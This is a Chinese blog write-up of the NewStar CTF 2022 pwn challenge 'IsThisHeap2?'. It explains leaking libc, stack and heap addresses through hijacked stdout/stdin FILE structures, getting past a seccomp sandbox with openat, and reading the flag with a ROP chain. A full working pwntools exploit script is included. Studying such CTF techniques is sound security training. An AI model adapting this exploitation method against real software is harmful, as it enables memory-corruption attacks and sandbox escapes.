IsThisHeap2?

IsThisHeap2?

NewStar CTF 2022 公开赛赛道第四周 pwn

前言

这题的难度要高于IsThisHeap,算是前一道题的加深版,建议各位师傅在已经弄懂前一题或者已经NB到不需要看前一题的情况下再往下看。

话说就这个难度......这真的是新生赛吗?

(由于本题涉及到了IO_FILE利用,而我也是在最近才开始学习这些知识,对一些知识的理解难免不够准确,所以我往往会在涉及到IO_FILE的时候贴上一些链接,如有冲突,请以链接引用的大佬的博客为准)

题目分析&思路整理

checksec,4道绿,基本上确定IsThisHeap的思路行不通了。

图片.png

而且这题的Del和Show也没了(出题人居然懒到连上一题Show里面用的write_n函数也忘了删掉了)。此外,这题还开启了沙箱防护,把execve和open都给禁用掉了。

图片.png

但是这两个题的漏洞点是一模一样的——Edit函数针对下标是否大于等于0的检查缺失。而且我们还能发现,我们读入数据的长度变长了很多,可以完全篡改整个FILE结构

图片.png

那我们来整理一下思路:

处理沙箱

首先针对沙箱防护,禁用execve导致我们只能通过orw的方式来读取flag,这导致我们需要布置rop链。

堆题中布置rop链一般采用打freehook之类的钩子,利用setcontext函数中的指令实现栈迁移,将栈迁移到我们可控的堆块内,提前在堆块中构造rop实现orw。但是因为这题没有Del,也就没有free函数,不好打hook来实现这个效果。(因为对这块知识点不熟练,我在这里浪费了很多时间想实现栈迁移,以致痛失三血。其实这题根本没有必要栈迁移,后面会讲)

至于禁掉了open,我们可以改用openat这个系统调用(系统调用号为0x101)来替代open(隐约记得open其实也是调用了openat?)

openat 函数原型:

//rax 0x101
int openat(int dirfd, const char *pathname, int flags,.../* mode_t mode */);  

至于参数,dirfd填上你想让给这个文件用的文件描述符(填3就行),pathname文件路径(/flag),第三个是和文件打开模式有关的参数(填0就行了)

这篇文章提纲挈领地讲了一下pwn题如何应对seccomp
PWN题中常见的seccomp绕过方法

泄露关键基址

libc基址泄露

不会有人不知道这题怎么泄露libc基址吧!不会的话建议去看看上一题。或者看看这个大佬的博客。

Linux IO_FILE 利用

pay1=p64(0xfbad1800)+p64(0)*3+'\x00'
Edit(-8,pay1)
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['_IO_2_1_stdin_']

然后我们根据libc基址计算出我们需要的函数和gadget等的地址

_IO_write_end=libcbase+0x7f88e1d9d723-0x7f88e1bb0000

#这个东西要敲重点,后面会用
environ_addr=libcbase+libc.symbols['__environ']

read_addr=libcbase+libc.symbols['read']
write_addr=libcbase+libc.symbols['write']
openat_addr=libcbase+libc.symbols['openat']

pop_rdi_ret=libcbase+0x23b6a
pop_rsi_ret=libcbase+0x2601f
pop_rdx_ret=libcbase+0x142c92
pop_rax_ret=libcbase+0x36174
pop_rdx_rcx_rbx=libcbase+0x010257d

syscall_retn=libcbase+0x94CA9

栈地址泄露

上面有一个奇怪的东西,__environ,这是个在libc中的符号,至于它具体是什么我在这里放一个链接,大伙知道这是一个栈中一个位置固定的数据的地址就行了——它相当于沟通了libc和栈,拿下libc就相当于拿下了栈。

_environ与ssp攻击

我们可以故技重施,利用stdout结构体来泄露
一个栈地址,这样栈上的数据就能为我们所用了。

pay2=p64(0xfbad1800)+p64(0)*3+p64(environ_addr)+p64(environ_addr+8)+p64(environ_addr+8)
Edit(-8,pay2)
stack_base=u64(r.recvuntil('\x7f').ljust(8,'\x00'))

textbase&heapbase

因为我们要将/flag作为参数传给openat,而我们可以通过Add函数把字符串写进堆里面。这个字符串即堆的地址存在heaps这个数组里面,heaps它自己又在程序的bss段中,那我们就需要泄露textbase。

函数返回地址存在栈中,之前我们已经泄露了一个栈中数据的地址,我们只要将Edit函数结束后的puts("Done")这次函数调用的返回地址给泄露出来就行了。

图片.png

这里用gdb跟踪调试,在call puts时si进入,看到puts返回地址main+213被压入栈中,这个返回地址和每次程序运行时之前泄露的stack_base的差是个定值,所以我们可以轻松算出返回地址的基址,故技重施让puts在返回之前把返回地址给泄露出来。

/flag字符串我写在了0号堆块,这里一并也将heapbase和/flag地址泄露出来。


main_213=stack_base-0x7ffcd46cdbf8+0x7ffcd46cdad8
pay3=p64(0xfbad1800)+p64(0)*3+p64(main_213)+p64(main_213+8)+p64(main_213+8)
Edit(-8,pay3)
textbase=u64(r.recv(8))-(0x55667926f015-0x55667926e000)
heaps=textbase+0x202060
leave_ret=textbase+0xE0C

pay4=p64(0xfbad1800)+p64(0)*3+p64(heaps)+p64(heaps+8)+p64(heaps+8)
Edit(-8,pay4)

heapbase=u64(r.recv(8))-(0x0000561829f522a0-0x561829f52000)
flag_heap_addr=heapbase+0x2a0
flag_addr=flag_heap_addr+0x10

至此整个程序已经是完全透明了。

如何布置rop链实现orw

rop链怎么构造我应该不用再讲了,能看到这里不会还有人不会orw吧。

关于怎么用setcontext搞栈迁移我想了很久,但是一直没有头绪,后来一拍脑门恍然大悟,发现我就是个憨憨:能控制stdin实现任一地址任意写,为什么不直接把rop链卸载scanf函数的返回地址里?

每一次读取操作(1 2 3 4 0)用了scanf函数,它的返回地址存放的位置很容易计算,我们可以直接篡改stdin实现任一地址读写将rop链写进scanf的返回地址。

但是似乎把rop链直接从scanf的返回地址处开始写会出现一些问题(可能是因为scanf函数是个变参函数导致它的返回地址下面还有些和scnaf函数执行有关的关键的数据?这里存个疑点,回来我在捣鼓捣鼓),所以我选择只将其返回地址这八个字节修改为leave_ret,并提前在main的返回地址下面布置上rop链,让main函数返回是触发rop链。

这里要讲一下,第一次劫持stdin时覆写_IO_buf_base和_IO_buf_end,实质上是强行给stdin撕开了一个缓冲(这题一开始设置为了无缓冲)。因此我们在布置rop链时,要在前面加上一些输入给scanf的数据,第一次我们要让scanf读进来一个 -1 来返回到循环开头,第二次我们要让程序执行Edit函数去修改stdin将任意地址写指向scanf的返回地址。所以rop链前面要加上字符串"-1 3 "以供两次scanf读取。

(话说似乎我们劫持stdout和stdin的行为对应read和write函数没啥影响,这俩好像直接跑了系统调用,没有那么多弯弯道道,所以你不应该试图通过他俩实现任意地址读写,当然也不需要像之前给scanf预留数据一样照顾它们——这个括号是我个人猜测)

接下来劫了stdin给scanf返回地址写上leave_ret的地址,强制让main函数返回(很有意思,main函数里面没有leave_ret这个指令,大致因为main是个死循环的缘故)。就能orw拿到flag了。

EXP:

from pwn import *

context.terminal=['tmux','splitw','-h']
context.log_level='debug'

r=process('/home/wjc/Desktop/pwn')
#r=remote('node4.buuoj.cn',29843)
libc=ELF('/home/wjc/Desktop/libc-2.31.so')

def cmd(idx):
    r.recvuntil('>> ')
    r.sendline(str(idx))

def Add(content):
    cmd(1)
    r.recvuntil('Any data?')
    r.sendline(content)

def Edit(idx,content):
    cmd(3)
    r.recvuntil('Index:')
    r.sendline(str(idx))
    r.recvuntil('Content:')
    r.send(content)


gdb.attach(r,'b*$rebase(0xF11)')

Add('/flag\x00')

pay1=p64(0xfbad1800)+p64(0)*3+'\x00'
Edit(-8,pay1)
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['_IO_2_1_stdin_']


_IO_write_end=libcbase+0x7f88e1d9d723-0x7f88e1bb0000

environ_addr=libcbase+libc.symbols['__environ']

read_addr=libcbase+libc.symbols['read']
write_addr=libcbase+libc.symbols['write']
openat_addr=libcbase+libc.symbols['openat']

pop_rdi_ret=libcbase+0x23b6a
pop_rsi_ret=libcbase+0x2601f
pop_rdx_ret=libcbase+0x142c92
pop_rax_ret=libcbase+0x36174
pop_rdx_rcx_rbx=libcbase+0x010257d

syscall_retn=libcbase+0x94CA9


pay2=p64(0xfbad1800)+p64(0)*3+p64(environ_addr)+p64(environ_addr+8)+p64(environ_addr+8)
Edit(-8,pay2)
stack_base=u64(r.recvuntil('\x7f').ljust(8,'\x00'))

main_213=stack_base-0x7ffcd46cdbf8+0x7ffcd46cdad8
pay3=p64(0xfbad1800)+p64(0)*3+p64(main_213)+p64(main_213+8)+p64(main_213+8)
Edit(-8,pay3)
textbase=u64(r.recv(8))-(0x55667926f015-0x55667926e000)
heaps=textbase+0x202060
leave_ret=textbase+0xE0C

pay4=p64(0xfbad1800)+p64(0)*3+p64(heaps)+p64(heaps+8)+p64(heaps+8)
Edit(-8,pay4)

heapbase=u64(r.recv(8))-(0x0000561829f522a0-0x561829f52000)
flag_heap_addr=heapbase+0x2a0
flag_addr=flag_heap_addr+0x10

scanf_ret_addr=stack_base+0x7ffe0c5e3e48-0x7ffe0c5e3f68
main_ret_addr=stack_base+0x7ffd8c92e0e8-0x7ffd8c92e1e8

rop ='-1 3 -7 '+p64(pop_rsi_ret)+p64(flag_heap_addr)+p64(pop_rdi_ret)+p64(3)+p64(pop_rdx_rcx_rbx)+p64(0)+p64(0)+p64(0)+p64(pop_rax_ret)+p64(0x101)+p64(syscall_retn)
rop+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(flag_addr)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
rop+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(flag_addr)+p64(pop_rdx_ret)+p64(0x30)+p64(write_addr)

pay5=p64(0xfbad0000)+p64(0)*6+p64(main_ret_addr-8)+p64(main_ret_addr-8+len(rop))
Edit(-6,pay5)


print("libcbase:",hex(libcbase))
print('heapbase:',hex(heapbase))
print('textbase:',hex(textbase))
print("_IO_write_end:",hex(_IO_write_end))
print("environ:",hex(environ_addr))
print('stack_base:',hex(stack_base))
print('main_213:',hex(main_213))
print('heaps:',hex(heaps))
print('open_addr:',hex(openat_addr))
print('scanf_ret_addr:',hex(scanf_ret_addr))
print('main_ret_addr:',hex(main_ret_addr))
print('_addr:',hex(0))


r.recvuntil('>> ')
r.send(rop)

pay6=p64(0xfbad0000)+p64(0)*6+p64(scanf_ret_addr)+p64(scanf_ret_addr+8)
r.recvuntil('Index:')
r.sendline('-6')
r.recvuntil('Content:')
r.send(pay6)

r.recvuntil('>> ')
r.send(p64(leave_ret))

r.interactive()

最好看完之后自行调试一下,题目不难,但是做起来还挺麻烦的。

posted @ 2022-10-14 21:17  Jmp·Cliff  阅读(44)  评论(1)    收藏  举报